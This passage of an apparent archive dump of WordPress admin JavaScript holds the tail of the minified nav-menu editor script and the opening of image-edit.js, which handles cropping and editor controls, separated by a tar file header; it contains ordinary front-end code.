0!==k("#menu-to-edit").length&&this.each(function(){var e=k(this),n={},t=menus.oneThemeLocationNoMenus&&0===e.find(".tabs-panel-active .categorychecklist li input:checked").length?e.find('#page-all li input[type="checkbox"]'):e.find(".tabs-panel-active .categorychecklist li input:checked"),i=/menu-item\[([^\]]*)/;if(a=a||I.addMenuItemToBottom,!t.length)return!1;e.find(".button-controls .spinner").addClass("is-active"),k(t).each(function(){var e=k(this),t=i.exec(e.attr("name")),t=void 0===t[1]?0:parseInt(t[1],10);this.className&&-1!=this.className.indexOf("add-to-top")&&(a=I.addMenuItemToTop),n[t]=e.closest("li").getItemData("add-menu-item",t)}),I.addItemToMenu(n,a,function(){t.prop("checked",!1),e.find(".button-controls .select-all").prop("checked",!1),e.find(".button-controls .spinner").removeClass("is-active")})})},getItemData:function(t,n){t=t||"menu-item";var i,a={},s=["menu-item-db-id","menu-item-object-id","menu-item-object","menu-item-parent-id","menu-item-position","menu-item-type","menu-item-title","menu-item-url","menu-item-description","menu-item-attr-title","menu-item-target","menu-item-classes","menu-item-xfn"];return(n=n||"menu-item"!=t?n:this.find(".menu-item-data-db-id").val())&&this.find("input").each(function(){var e;for(i=s.length;i--;)"menu-item"==t?e=s[i]+"["+n+"]":"add-menu-item"==t&&(e="menu-item["+n+"]["+s[i]+"]"),this.name&&e==this.name&&(a[s[i]]=this.value)}),a},setItemData:function(e,a,s){return a=a||"menu-item",(s=s||"menu-item"!=a?s:k(".menu-item-data-db-id",this).val())&&this.find("input").each(function(){var n,i=k(this);k.each(e,function(e,t){"menu-item"==a?n=e+"["+s+"]":"add-menu-item"==a&&(n="menu-item["+s+"]["+e+"]"),n==i.attr("name")&&i.val(t)})}),this}})},countMenuItems:function(e){return k(".menu-item-depth-"+e).length},moveMenuItem:function(e,t){var n,i,a=k("#menu-to-edit li"),s=a.length,m=e.parents("li.menu-item"),o=m.childMenuItems(),u=m.getItemData(),c=parseInt(m.menuItemDepth(),10),l=parseInt(m.index(),10),d=m.next(),r=d.childMenuItems(),h=parseInt(d.menuItemDepth(),10)+1,p=m.prev(),f=parseInt(p.menuItemDepth(),10),v=p.getItemData()["menu-item-db-id"],p=menus["moved"+t.charAt(0).toUpperCase()+t.slice(1)];switch(t){case"up":i=l-1,0!==l&&(0==i&&0!==c&&m.moveHorizontally(0,c),0!==f&&m.moveHorizontally(f,c),(o?n=m.add(o):m).detach().insertBefore(a.eq(i)).updateParentMenuItemDBId());break;case"down":if(o){if(n=m.add(o),(r=0!==(d=a.eq(n.length+l)).childMenuItems().length)&&(i=parseInt(d.menuItemDepth(),10)+1,m.moveHorizontally(i,c)),s===l+n.length)break;n.detach().insertAfter(a.eq(l+n.length)).updateParentMenuItemDBId()}else{if(0!==r.length&&m.moveHorizontally(h,c),s===l+1)break;m.detach().insertAfter(a.eq(l+1)).updateParentMenuItemDBId()}break;case"top":0!==l&&(o?n=m.add(o):m).detach().insertBefore(a.eq(0)).updateParentMenuItemDBId();break;case"left":0!==c&&m.shiftHorizontally(-1);break;case"right":0!==l&&u["menu-item-parent-id"]!==v&&m.shiftHorizontally(1)}e.trigger("focus"),I.registerChange(),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),p&&wp.a11y.speak(p)},initAccessibility:function(){var e=k("#menu-to-edit");I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),e.on("mouseenter.refreshAccessibility focus.refreshAccessibility touchstart.refreshAccessibility",".menu-item",function(){I.refreshAdvancedAccessibilityOfItem(k(this).find("a.item-edit"))}),e.on("click","a.item-edit",function(){I.refreshAdvancedAccessibilityOfItem(k(this))}),e.on("click",".menus-move",function(){var e=k(this).data("dir");void 0!==e&&I.moveMenuItem(k(this).parents("li.menu-item").find("a.item-edit"),e)})},refreshAdvancedAccessibilityOfItem:function(e){var t,n,i,a,s,m,o,u,c,l,d,r;!0===k(e).data("needs_accessibility_refresh")&&(m=0===(s=(a=(e=k(e)).closest("li.menu-item").first()).menuItemDepth()),o=e.closest(".menu-item-handle").find(".menu-item-title").text(),u=parseInt(a.index(),10),c=m?s:parseInt(s-1,10),c=a.prevAll(".menu-item-depth-"+c).first().find(".menu-item-title").text(),l=a.prevAll(".menu-item-depth-"+s).first().find(".menu-item-title").text(),d=k("#menu-to-edit li").length,r=a.nextAll(".menu-item-depth-"+s).length,a.find(".field-move").toggle(1<d),0!==u&&(i=a.find(".menus-move-up")).attr("aria-label",menus.moveUp).css("display","inline"),0!==u&&m&&(i=a.find(".menus-move-top")).attr("aria-label",menus.moveToTop).css("display","inline"),u+1!==d&&0!==u&&(i=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),0===u&&0!==r&&(i=a.find(".menus-move-down")).attr("aria-label",menus.moveDown).css("display","inline"),m||(i=a.find(".menus-move-left"),n=menus.outFrom.replace("%s",c),i.attr("aria-label",menus.moveOutFrom.replace("%s",c)).text(n).css("display","inline")),0!==u&&a.find(".menu-item-data-parent-id").val()!==a.prev().find(".menu-item-data-db-id").val()&&(i=a.find(".menus-move-right"),n=menus.under.replace("%s",l),i.attr("aria-label",menus.moveUnder.replace("%s",l)).text(n).css("display","inline")),n=m?(t=(r=k(".menu-item-depth-0")).index(a)+1,d=r.length,menus.menuFocus.replace("%1$s",o).replace("%2$d",t).replace("%3$d",d)):(u=(c=a.prevAll(".menu-item-depth-"+parseInt(s-1,10)).first()).find(".menu-item-data-db-id").val(),i=c.find(".menu-item-title").text(),l=k('.menu-item .menu-item-data-parent-id[value="'+u+'"]'),t=k(l.parents(".menu-item").get().reverse()).index(a)+1,menus.subMenuFocus.replace("%1$s",o).replace("%2$d",t).replace("%3$s",i)),e.attr("aria-label",n),e.data("needs_accessibility_refresh",!1))},refreshAdvancedAccessibility:function(){k(".menu-item-settings .field-move .menus-move").hide(),k("a.item-edit").data("needs_accessibility_refresh",!0),k(".menu-item-edit-active a.item-edit").each(function(){I.refreshAdvancedAccessibilityOfItem(this)})},refreshKeyboardAccessibility:function(){k("a.item-edit").off("focus").on("focus",function(){k(this).off("keydown").on("keydown",function(e){var t,n=k(this),i=n.parents("li.menu-item").getItemData();if((37==e.which||38==e.which||39==e.which||40==e.which)&&(n.off("keydown"),1!==k("#menu-to-edit li").length)){switch(t={38:"up",40:"down",37:"left",39:"right"},(t=k("body").hasClass("rtl")?{38:"up",40:"down",39:"left",37:"right"}:t)[e.which]){case"up":I.moveMenuItem(n,"up");break;case"down":I.moveMenuItem(n,"down");break;case"left":I.moveMenuItem(n,"left");break;case"right":I.moveMenuItem(n,"right")}return k("#edit-"+i["menu-item-db-id"]).trigger("focus"),!1}})})},initPreviewing:function(){k("#menu-to-edit").on("change input",".edit-menu-item-title",function(e){var e=k(e.currentTarget),t=e.val(),e=e.closest(".menu-item").find(".menu-item-title");t?e.text(t).removeClass("no-title"):e.text(wp.i18n._x("(no label)","missing menu item navigation label")).addClass("no-title")})},initToggles:function(){postboxes.add_postbox_toggles("nav-menus"),columns.useCheckboxesForHidden(),columns.checked=function(e){k(".field-"+e).removeClass("hidden-field")},columns.unchecked=function(e){k(".field-"+e).addClass("hidden-field")},I.menuList.hideAdvancedMenuItemFields(),k(".hide-postbox-tog").on("click",function(){var e=k(".accordion-container li.accordion-section").filter(":hidden").map(function(){return this.id}).get().join(",");k.post(ajaxurl,{action:"closed-postboxes",hidden:e,closedpostboxesnonce:jQuery("#closedpostboxesnonce").val(),page:"nav-menus"})})},initSortables:function(){var m,a,s,n,o,u,c,l,d,r,e,h=0,p=I.menuList.offset().left,f=k("body"),v=f[0].className&&(e=f[0].className.match(/menu-max-depth-(\d+)/))&&e[1]?parseInt(e[1],10):0;function g(e){n=e.placeholder.prev(".menu-item"),o=e.placeholder.next(".menu-item"),n[0]==e.item[0]&&(n=n.prev(".menu-item")),o[0]==e.item[0]&&(o=o.next(".menu-item")),u=n.length?n.offset().top+n.height():0,c=o.length?o.offset().top+o.height()/3:0,a=o.length?o.menuItemDepth():0,s=n.length?(e=n.menuItemDepth()+1)>I.options.globalMaxDepth?I.options.globalMaxDepth:e:0}function b(e,t){e.placeholder.updateDepthClass(t,h),h=t}0!==k("#menu-to-edit li").length&&k(".drag-instructions").show(),p+=I.isRTL?I.menuList.width():0,I.menuList.sortable({handle:".menu-item-handle",placeholder:"sortable-placeholder",items:I.options.sortableItems,start:function(e,t){var n,i;I.isRTL&&(t.item[0].style.right="auto"),d=t.item.children(".menu-item-transport"),m=t.item.menuItemDepth(),b(t,m),i=(t.item.next()[0]==t.placeholder[0]?t.item.next():t.item).childMenuItems(),d.append(i),n=d.outerHeight(),n=(n+=0<n?+t.placeholder.css("margin-top").slice(0,-2):0)+t.helper.outerHeight(),l=n,t.placeholder.height(n-=2),r=m,i.each(function(){var e=k(this).menuItemDepth();r=r<e?e:r}),n=t.helper.find(".menu-item-handle").outerWidth(),n+=I.depthToPx(r-m),t.placeholder.width(n-=2),(i=t.placeholder.next(".menu-item")).css("margin-top",l+"px"),t.placeholder.detach(),k(this).sortable("refresh"),t.item.after(t.placeholder),i.css("margin-top",0),g(t)},stop:function(e,t){var n=h-m,i=d.children().insertAfter(t.item),a=t.item.find(".item-title .is-submenu");if(0<h?a.show():a.hide(),0!=n){t.item.updateDepthClass(h),i.shiftDepthClass(n);var a=n,s=v;if(0!==a){if(0<a)v<(i=r+a)&&(s=i);else if(a<0&&r==v)for(;!k(".menu-item-depth-"+s,I.menuList).length&&0<s;)s--;f.removeClass("menu-max-depth-"+v).addClass("menu-max-depth-"+s),v=s}}I.registerChange(),t.item.updateParentMenuItemDBId(),t.item[0].style.top=0,I.isRTL&&(t.item[0].style.left="auto",t.item[0].style.right=0),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility()},change:function(e,t){t.placeholder.parent().hasClass("menu")||(n.length?n.after(t.placeholder):I.menuList.prepend(t.placeholder)),g(t)},sort:function(e,t){var n=t.helper.offset(),i=I.isRTL?n.left+t.helper.width():n.left,i=I.negateIfRTL*I.pxToDepth(i-p);s<i||n.top<u-I.options.targetTolerance?i=s:i<a&&(i=a),i!=h&&b(t,i),c&&n.top+l>c&&(o.after(t.placeholder),g(t),k(this).sortable("refreshPositions"))}})},initManageLocations:function(){k("#menu-locations-wrap form").on("submit",function(){window.onbeforeunload=null}),k(".menu-location-menus select").on("change",function(){var e=k(this).closest("tr").find(".locations-edit-menu-link");k(this).find("option:selected").data("orig")?e.show():e.hide()})},attachMenuEditListeners:function(){var t=this;k("#update-nav-menu").on("click",function(e){if(e.target&&e.target.className)return-1!=e.target.className.indexOf("item-edit")?t.eventOnClickEditLink(e.target):-1!=e.target.className.indexOf("menu-save")?t.eventOnClickMenuSave(e.target):-1!=e.target.className.indexOf("menu-delete")?t.eventOnClickMenuDelete(e.target):-1!=e.target.className.indexOf("item-delete")?t.eventOnClickMenuItemDelete(e.target):-1!=e.target.className.indexOf("item-cancel")?t.eventOnClickCancelLink(e.target):void 0}),k("#menu-name").on("input",_.debounce(function(){var e=k(document.getElementById("menu-name")),t=e.val();t&&t.replace(/\s+/,"")?e.parent().removeClass("form-invalid"):e.parent().addClass("form-invalid")},500)),k('#add-custom-links input[type="text"]').on("keypress",function(e){k("#customlinkdiv").removeClass("form-invalid"),13===e.keyCode&&(e.preventDefault(),k("#submit-customlinkdiv").trigger("click"))})},attachBulkSelectButtonListeners:function(){var e=this;k(".bulk-select-switcher").on("change",function(){this.checked?(k(".bulk-select-switcher").prop("checked",!0),e.enableBulkSelection()):(k(".bulk-select-switcher").prop("checked",!1),e.disableBulkSelection())})},enableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").addClass("bulk-selection"),k("#nav-menu-bulk-actions-top").addClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").addClass("bulk-selection"),k.each(e,function(){k(this).prop("disabled",!1)})},disableBulkSelection:function(){var e=k("#menu-to-edit .menu-item-checkbox");k("#menu-to-edit").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-top").removeClass("bulk-selection"),k("#nav-menu-bulk-actions-bottom").removeClass("bulk-selection"),k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')&&k(".menu-items-delete").removeAttr("aria-describedby"),k.each(e,function(){k(this).prop("disabled",!0).prop("checked",!1)}),k(".menu-items-delete").addClass("disabled"),k("#pending-menu-items-to-delete ul").empty()},attachMenuCheckBoxListeners:function(){var e=this;k("#menu-to-edit").on("change",".menu-item-checkbox",function(){e.setRemoveSelectedButtonStatus()})},attachMenuItemDeleteButton:function(){var t=this;k(document).on("click",".menu-items-delete",function(e){var n,i;e.preventDefault(),k(this).hasClass("disabled")||(k.each(k(".menu-item-checkbox:checked"),function(e,t){k(t).parents("li").find("a.item-delete").trigger("click")}),k(".menu-items-delete").addClass("disabled"),k(".bulk-select-switcher").prop("checked",!1),n="",i=k("#pending-menu-items-to-delete ul li"),k.each(i,function(e,t){t=k(t).find(".pending-menu-item-name").text(),t=menus.menuItemDeletion.replace("%s",t);n+=t,e+1<i.length&&(n+=", ")}),e=menus.itemsDeleted.replace("%s",n),wp.a11y.speak(e,"polite"),t.disableBulkSelection())})},attachPendingMenuItemsListForDeletion:function(){k("#post-body-content").on("change",".menu-item-checkbox",function(){var e,t,n,i;k(".menu-items-delete").is('[aria-describedby="pending-menu-items-to-delete"]')||k(".menu-items-delete").attr("aria-describedby","pending-menu-items-to-delete"),e=k(this).next().text(),t=k(this).parent().next(".item-controls").find(".item-type").text(),n=k(this).attr("data-menu-item-id"),0<(i=k("#pending-menu-items-to-delete ul").find("[data-menu-item-id="+n+"]")).length&&i.remove(),!0===this.checked&&k("#pending-menu-items-to-delete ul").append('<li data-menu-item-id="'+n+'"><span class="pending-menu-item-name">'+e+'</span> <span class="pending-menu-item-type">('+t+')</span><span class="separator"></span></li>'),k("#pending-menu-items-to-delete li .separator").html(", "),k("#pending-menu-items-to-delete li .separator").last().html(".")})},setBulkDeleteCheckboxStatus:function(){var e=k("#menu-to-edit .menu-item-checkbox");k.each(e,function(){k(this).prop("disabled")?k(this).prop("disabled",!1):k(this).prop("disabled",!0),k(this).is(":checked")&&k(this).prop("checked",!1)}),this.setRemoveSelectedButtonStatus()},setRemoveSelectedButtonStatus:function(){var e=k(".menu-items-delete");0<k(".menu-item-checkbox:checked").length?e.removeClass("disabled"):e.addClass("disabled")},attachMenuSaveSubmitListeners:function(){k("#update-nav-menu").on("submit",function(){var e=k("#update-nav-menu").serializeArray();k('[name="nav-menu-data"]').val(JSON.stringify(e))})},attachThemeLocationsListeners:function(){var e=k("#nav-menu-theme-locations"),t={action:"menu-locations-save"};t["menu-settings-column-nonce"]=k("#menu-settings-column-nonce").val(),e.find('input[type="submit"]').on("click",function(){return e.find("select").each(function(){t[this.name]=k(this).val()}),e.find(".spinner").addClass("is-active"),k.post(ajaxurl,t,function(){e.find(".spinner").removeClass("is-active")}),!1})},attachQuickSearchListeners:function(){var t;k("#nav-menu-meta").on("submit",function(e){e.preventDefault()}),k("#nav-menu-meta").on("input",".quick-search",function(){var e=k(this);e.attr("autocomplete","off"),t&&clearTimeout(t),t=setTimeout(function(){I.updateQuickSearchResults(e)},500)}).on("blur",".quick-search",function(){I.lastSearch=""})},updateQuickSearchResults:function(e){var t,n,i=e.val();i.length<2||I.lastSearch==i||(I.lastSearch=i,t=e.parents(".tabs-panel"),n={action:"menu-quick-search","response-format":"markup",menu:k("#menu").val(),"menu-settings-column-nonce":k("#menu-settings-column-nonce").val(),q:i,type:e.attr("name")},k(".spinner",t).addClass("is-active"),k.post(ajaxurl,n,function(e){I.processQuickSearchQueryResponse(e,n,t)}))},addCustomLink:function(e){var t=k("#custom-menu-item-url").val().toString(),n=k("#custom-menu-item-name").val();if(""!==t&&(t=t.trim()),e=e||I.addMenuItemToBottom,""===t||"https://"==t||"http://"==t)return k("#customlinkdiv").addClass("form-invalid"),!1;k(".customlinkdiv .spinner").addClass("is-active"),this.addLinkToMenu(t,n,e,function(){k(".customlinkdiv .spinner").removeClass("is-active"),k("#custom-menu-item-name").val("").trigger("blur"),k("#custom-menu-item-url").val("").attr("placeholder","https://")})},addLinkToMenu:function(e,t,n,i){n=n||I.addMenuItemToBottom,I.addItemToMenu({"-1":{"menu-item-type":"custom","menu-item-url":e,"menu-item-title":t}},n,i=i||function(){})},addItemToMenu:function(e,n,i){var a,t=k("#menu").val(),s=k("#menu-settings-column-nonce").val();n=n||function(){},i=i||function(){},a={action:"add-menu-item",menu:t,"menu-settings-column-nonce":s,"menu-item":e},k.post(ajaxurl,a,function(e){var t=k("#menu-instructions");e=(e=e||"").toString().trim(),n(e,a),k("li.pending").hide().fadeIn("slow"),k(".drag-instructions").show(),!t.hasClass("menu-instructions-inactive")&&t.siblings().length&&t.addClass("menu-instructions-inactive"),i()})},addMenuItemToBottom:function(e){e=k(e);e.hideAdvancedMenuItemFields().appendTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},addMenuItemToTop:function(e){e=k(e);e.hideAdvancedMenuItemFields().prependTo(I.targetList),I.refreshKeyboardAccessibility(),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemAdded),k(document).trigger("menu-item-added",[e])},attachUnsavedChangesListener:function(){k("#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select").on("change",function(){I.registerChange()}),0!==k("#menu-to-edit").length||0!==k(".menu-location-menus select").length?window.onbeforeunload=function(){if(I.menusChanged)return wp.i18n.__("The changes you made will be lost if you navigate away from this page.")}:k("#menu-settings-column").find("input,select").end().find("a").attr("href","#").off("click")},registerChange:function(){I.menusChanged=!0},attachTabsPanelListeners:function(){k("#menu-settings-column").on("click",function(e){var t,n,i,a,s=k(e.target);if(s.hasClass("nav-tab-link"))n=s.data("type"),i=s.parents(".accordion-section-content").first(),k("input",i).prop("checked",!1),k(".tabs-panel-active",i).removeClass("tabs-panel-active").addClass("tabs-panel-inactive"),k("#"+n,i).removeClass("tabs-panel-inactive").addClass("tabs-panel-active"),k(".tabs",i).removeClass("tabs"),s.parent().addClass("tabs"),k(".quick-search",i).trigger("focus"),i.find(".tabs-panel-active .menu-item-title").length?i.removeClass("has-no-menu-item"):i.addClass("has-no-menu-item"),e.preventDefault();else if(s.hasClass("select-all"))(t=s.closest(".button-controls").data("items-type"))&&((a=k("#"+t+" .tabs-panel-active .menu-item-title input")).length!==a.filter(":checked").length||s.is(":checked")?s.is(":checked")&&a.prop("checked",!0):a.prop("checked",!1));else if(s.hasClass("menu-item-checkbox"))(t=s.closest(".tabs-panel-active").parent().attr("id"))&&(a=k("#"+t+" .tabs-panel-active .menu-item-title input"),n=k('.button-controls[data-items-type="'+t+'"] .select-all'),a.length!==a.filter(":checked").length||n.is(":checked")?n.is(":checked")&&n.prop("checked",!1):n.prop("checked",!0));else if(s.hasClass("submit-add-to-menu"))return I.registerChange(),e.target.id&&"submit-customlinkdiv"==e.target.id?I.addCustomLink(I.addMenuItemToBottom):e.target.id&&-1!=e.target.id.indexOf("submit-")&&k("#"+e.target.id.replace(/submit-/,"")).addSelectedToMenu(I.addMenuItemToBottom),!1}),k("#nav-menu-meta").on("click","a.page-numbers",function(){var n=k(this).closest(".inside");return k.post(ajaxurl,this.href.replace(/.*\?/,"").replace(/action=([^&]*)/,"")+"&action=menu-get-metabox",function(e){var t=JSON.parse(e);-1!==e.indexOf("replace-id")&&(e=document.getElementById(t["replace-id"]),t.markup)&&e&&n.html(t.markup)}),!1})},eventOnClickEditLink:function(e){var t,e=/#(.*)$/.exec(e.href);if(e&&e[1]&&0!==(t=(e=k("#"+e[1])).parent()).length)return t.hasClass("menu-item-edit-inactive")?(e.data("menu-item-data")||e.data("menu-item-data",e.getItemData()),e.slideDown("fast"),t.removeClass("menu-item-edit-inactive").addClass("menu-item-edit-active")):(e.slideUp("fast"),t.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive")),!1},eventOnClickCancelLink:function(e){var t=k(e).closest(".menu-item-settings"),e=k(e).closest(".menu-item");return e.removeClass("menu-item-edit-active").addClass("menu-item-edit-inactive"),t.setItemData(t.data("menu-item-data")).hide(),e.find(".menu-item-title").text(t.data("menu-item-data")["menu-item-title"]),!1},eventOnClickMenuSave:function(){var e="",t=k("#menu-name"),n=t.val();return n&&n.replace(/\s+/,"")?(k("#nav-menu-theme-locations select").each(function(){e+='<input type="hidden" name="'+this.name+'" value="'+k(this).val()+'" />'}),k("#update-nav-menu").append(e),I.menuList.find(".menu-item-data-position").val(function(e){return e+1}),!(window.onbeforeunload=null)):(t.parent().addClass("form-invalid"),!1)},eventOnClickMenuDelete:function(){return!!window.confirm(wp.i18n.__("You are about to permanently delete this menu.\n'Cancel' to stop, 'OK' to delete."))&&!(window.onbeforeunload=null)},eventOnClickMenuItemDelete:function(e){e=parseInt(e.id.replace("delete-",""),10);return I.removeMenuItem(k("#menu-item-"+e)),I.registerChange(),!1},processQuickSearchQueryResponse:function(e,t,n){var i,a,s,m={},o=document.getElementById("nav-menu-meta"),u=/menu-item[(\[^]\]*/,e=k("<div>").html(e).find("li"),c=n.closest(".accordion-section-content"),l=c.find(".button-controls .select-all");e.length?(e.each(function(){if(s=k(this),(i=u.exec(s.html()))&&i[1]){for(a=i[1];o.elements["menu-item["+a+"][menu-item-type]"]||m[a];)a--;m[a]=!0,a!=i[1]&&s.html(s.html().replace(new RegExp("menu-item\\["+i[1]+"\\]","g"),"menu-item["+a+"]"))}}),k(".categorychecklist",n).html(e),k(".spinner",n).removeClass("is-active"),c.removeClass("has-no-menu-item"),l.is(":checked")&&l.prop("checked",!1)):(k(".categorychecklist",n).html("<li><p>"+wp.i18n.__("No results found.")+"</p></li>"),k(".spinner",n).removeClass("is-active"),c.addClass("has-no-menu-item"))},removeMenuItem:function(t){var n=t.childMenuItems();k(document).trigger("menu-removing-item",[t]),t.addClass("deleting").animate({opacity:0,height:0},350,function(){var e=k("#menu-instructions");t.remove(),n.shiftDepthClass(-1).updateParentMenuItemDBId(),0===k("#menu-to-edit li").length&&(k(".drag-instructions").hide(),e.removeClass("menu-instructions-inactive")),I.refreshAdvancedAccessibility(),wp.a11y.speak(menus.itemRemoved)})},depthToPx:function(e){return e*I.options.menuItemDepthPerLevel},pxToDepth:function(e){return Math.floor(e/I.options.menuItemDepthPerLevel)}};k(function(){wpNavMenu.init(),k(".menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select").on("focus",function(){var e,t,n;783<=window.innerWidth&&(e=k("#nav-menu-footer").height()+20,0<(t=k(this).offset().top-(k(window).scrollTop()+k(window).height()-k(this).height()))&&(t=0),(t*=-1)<e)&&(n=k(document).scrollTop(),k(document).scrollTop(n+(e-t)))})}),k(document).on("menu-item-added",function(){k(".bulk-actions").is(":visible")||k(".bulk-actions").show()}),k(document).on("menu-removing-item",function(e,t){1===k(t).parents("#menu-to-edit").find("li").length&&k(".bulk-actions").is(":visible")&&k(".bulk-actions").hide()})}(jQuery);image-edit.js000064400000114322150276633110007116 0ustar00/**
 * The functions necessary for editing images.
 *
 * @since 2.9.0
 * @output wp-admin/js/image-edit.js
 */

 /* global ajaxurl, confirm */

(function($) {
	var __ = wp.i18n.__;

	/**
	 * Contains all the methods to initialize and control the image editor.
	 *
	 * @namespace imageEdit
	 */
	var imageEdit = window.imageEdit = {
	iasapi : {},
	hold : {},
	postid : '',
	_view : false,

	/**
	 * Enable crop tool.
	 */
	toggleCropTool: function( postid, nonce, cropButton ) {
		var img = $( '#image-preview-' + postid ),
			selection = this.iasapi.getSelection();

		imageEdit.toggleControls( cropButton );
		var $el = $( cropButton );
		var state = ( $el.attr( 'aria-expanded' ) === 'true' ) ? 'true' : 'false';
		// Crop tools have been closed.
		if ( 'false' === state ) {
			// Cancel selection, but do not unset inputs.
			this.iasapi.cancelSelection();
			imageEdit.setDisabled($('.imgedit-crop-clear'), 0);
		} else {
			imageEdit.setDisabled($('.imgedit-crop-clear'), 1);
			// Get values from inputs to restore previous selection.
			var startX = ( $( '#imgedit-start-x-' + postid ).val() ) ? $('#imgedit-start-x-' + postid).val() : 0;
			var startY = ( $( '#imgedit-start-y-' + postid ).val() ) ? $('#imgedit-start-y-' + postid).val() : 0;
			var width = ( $( '#imgedit-sel-width-' + postid ).val() ) ? $('#imgedit-sel-width-' + postid).val() : img.innerWidth();
			var height = ( $( '#imgedit-sel-height-' + postid ).val() ) ? $('#imgedit-sel-height-' + postid).val() : img.innerHeight();
			// Ensure selection is available, otherwise reset to full image.
			if ( isNaN( selection.x1 ) ) {
				this.setCropSelection( postid, { 'x1': startX, 'y1': startY, 'x2': width, 'y2': height, 'width': width, 'height': height } );
				selection = this.iasapi.getSelection();
			}

			// If we don't already have a selection, select the entire image.
			if ( 0 === selection.x1 && 0 === selection.y1 && 0 === selection.x2 && 0 === selection.y2 ) {
				this.iasapi.setSelection( 0, 0, img.innerWidth(), img.innerHeight(), true );
				this.iasapi.setOptions( { show: true } );
				this.iasapi.update();
			} else {
				this.iasapi.setSelection( startX, startY, width, height, true );
				this.iasapi.setOptions( { show: true } );
				this.iasapi.update();
			}
		}
	},

	/**
	 * Handle crop tool clicks.
	 */
	handleCropToolClick: function( postid, nonce, cropButton ) {

		if ( cropButton.classList.contains( 'imgedit-crop-clear' ) ) {
			this.iasapi.cancelSelection();
			imageEdit.setDisabled($('.imgedit-crop-apply'), 0);

			$('#imgedit-sel-width-' + postid).val('');
			$('#imgedit-sel-height-' + postid).val('');
			$('#imgedit-start-x-' + postid).val('0');
			$('#imgedit-start-y-' + postid).val('0');
			$('#imgedit-selection-' + postid).val('');
		} else {
			// Otherwise, perform the crop.
			imageEdit.crop( postid, nonce , cropButton );
		}
	},

	/**
	 * Converts a value to an integer.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} f The float value that should be converted.
	 *
	 * @return {number} The integer representation from the float value.
	 */
	intval : function(f) {
		/*
		 * Bitwise OR operator: one of the obscure ways to truncate floating point figures,
		 * worth reminding JavaScript doesn't have a distinct "integer" type.
		 */
		return f | 0;
	},

	/**
	 * Adds the disabled attribute and class to a single form element or a field set.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {jQuery}         el The element that should be modified.
	 * @param {boolean|number} s  The state for the element. If set to true
	 *                            the element is disabled,
	 *                            otherwise the element is enabled.
	 *                            The function is sometimes called with a 0 or 1
	 *                            instead of true or false.
	 *
	 * @return {void}
	 */
	setDisabled : function( el, s ) {
		/*
		 * `el` can be a single form element or a fieldset. Before #28864, the disabled state on
		 * some text fields  was handled targeting $('input', el). Now we need to handle the
		 * disabled state on buttons too so we can just target `el` regardless if it's a single
		 * element or a fieldset because when a fieldset is disabled, its descendants are disabled too.
		 */
		if ( s ) {
			el.removeClass( 'disabled' ).prop( 'disabled', false );
		} else {
			el.addClass( 'disabled' ).prop( 'disabled', true );
		}
	},

	/**
	 * Initializes the image editor.
	 *
	 * @since 2.9.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {number} postid The post ID.
	 *
	 * @return {void}
	 */
	init : function(postid) {
		var t = this, old = $('#image-editor-' + t.postid),
			x = t.intval( $('#imgedit-x-' + postid).val() ),
			y = t.intval( $('#imgedit-y-' + postid).val() );

		if ( t.postid !== postid && old.length ) {
			t.close(t.postid);
		}

		t.hold.w = t.hold.ow = x;
		t.hold.h = t.hold.oh = y;
		t.hold.xy_ratio = x / y;
		t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() );
		t.postid = postid;
		$('#imgedit-response-' + postid).empty();

		$('#imgedit-panel-' + postid).on( 'keypress', function(e) {
			var nonce = $( '#imgedit-nonce-' + postid ).val();
			if ( e.which === 26 && e.ctrlKey ) {
				imageEdit.undo( postid, nonce );
			}

			if ( e.which === 25 && e.ctrlKey ) {
				imageEdit.redo( postid, nonce );
			}
		});

		$('#imgedit-panel-' + postid).on( 'keypress', 'input[type="text"]', function(e) {
			var k = e.keyCode;

			// Key codes 37 through 40 are the arrow keys.
			if ( 36 < k && k < 41 ) {
				$(this).trigger( 'blur' );
			}

			// The key code 13 is the Enter key.
			if ( 13 === k ) {
				e.preventDefault();
				e.stopPropagation();
				return false;
			}
		});

		$( document ).on( 'image-editor-ui-ready', this.focusManager );
	},

	/**
	 * Toggles the wait/load icon in the editor.
	 *
	 * @since 2.9.0
	 * @since 5.5.0 Added the triggerUIReady parameter.
	 *
	 * @memberof imageEdit
	 *
	 * @param {number}  postid         The post ID.
	 * @param {number}  toggle         Is 0 or 1, fades the icon in when 1 and out when 0.
	 * @param {boolean} triggerUIReady Whether to trigger a custom event when the UI is ready. Default false.
	 *
	 * @return {void}
	 */
	toggleEditor: function( postid, toggle, triggerUIReady ) {
		var wait = $('#imgedit-wait-' + postid);

		if ( toggle ) {
			wait.fadeIn( 'fast' );
		} else {
			wait.fadeOut( 'fast', function() {
				if ( triggerUIReady ) {
					$( document ).trigger( 'image-editor-ui-ready' );
				}
			} );
		}
	},

	/**
	 * Shows or hides image menu popup.
	 *
	 * @since 6.3.0
	 *
	 * @memberof imageEdit
	 *
	 * @param {HTMLElement} el The activated control element.
	 *
	 * @return {boolean} Always returns false.
	 */
	togglePopup : function(el) {
		var $el = $( el );
		var $targetEl = $( el ).attr( 'aria-controls' );
		var $target = $( '#' + $targetEl );
		$el
			.attr( 'aria-expanded', 'false' === $el.attr( 'aria-expanded' ) ? 'true' : 'false' );
		// Open menu and set z-index to appear above image crop area if it is enabled.
		$target
			.toggleClass( 'imgedit-popup-menu-open' ).slideToggle( 'fast' ).css( { 'z-index' : 200000 } );
		// Move focus to first item in menu when opening menu.
		if ( 'true' === $el.attr( 'aria-expanded' ) ) {
